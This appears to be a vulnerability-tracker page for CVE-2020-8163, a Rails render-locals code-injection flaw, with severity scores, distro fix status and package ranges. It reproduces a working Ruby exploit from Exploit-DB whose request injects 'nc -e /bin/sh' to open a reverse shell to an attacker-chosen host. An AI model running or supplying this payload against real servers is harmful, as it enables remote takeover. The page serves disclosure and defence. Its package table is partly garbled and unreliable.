CVE-2020-8163

unknown
Published 2020-05-15 ยท Modified 2024-02-16
CVSS v3
โ€”
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
1.0

Description

The is a code injection vulnerability in versions of Rails prior to 5.0.1 that wouldallow an attacker who controlled the `locals` argument of a `render` call to perform a RCE.

Predictions

Exploit likelihood
65%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-48716 webapps ruby text ยท 1 KB
Lucas Amorim ยท 2020-07-26

Rails 5.0.1 - Remote Code Execution

text exploit Source: Exploit-DB
# Exploit Title: Rails 5.0.1 - Remote Code Execution
# Date: 2020-07-19
# Exploit Author: Lucas Amorim
# Vendor Homepage: www.rubyonrails.org
# Software Link: www.rubyonrails.org
# Version: Rails < 5.0.1
# Tested on: Linux/OSx
# CVE : CVE-2020-8163
# More information: https://github.com/sh286/CVE-2020-8163

#!/usr/bin/ruby

require 'net/http'

def header
  puts "[*] - CVE-2020-8163 - Remote code execution of user-provided local names in Rails < 5.0.1\n" 
  puts "[*] - Author: Lucas Amorim lucas@lucasamorim.ca"
  puts "[*] - Usage: \n"
  puts "ruby exploit.rb <url> <ip> <port>"
end
if ARGV.length < 3
  header
  exit(-1)
end

url  = ARGV[0]
ip   = ARGV[1]
port = ARGV[2]

puts "[*] Sending payload to #{url}"
uri = URI(url+"?system(%27nc+-e+/bin/sh+#{ip}+#{port}%27)%3ba%23")
Net::HTTP.get(uri)

OS impact

suse SUSE Affected 1 release
VersionStatusFixed in
โ€” Affected โ€”
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 2:5.2.0+dfsg-2
sid Fixed 2:5.2.0+dfsg-2
forky Fixed 2:5.2.0+dfsg-2
bullseye Fixed 2:5.2.0+dfsg-2
bookworm Fixed 2:5.2.0+dfsg-2

Package impact

EcosystemPackageVulnerableFixed
ruby RubyGemsactionview<>= 4.2.11.2>= 4.2.11.2
ruby RubyGemsactionview<4.2.11.34.2.11.3

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.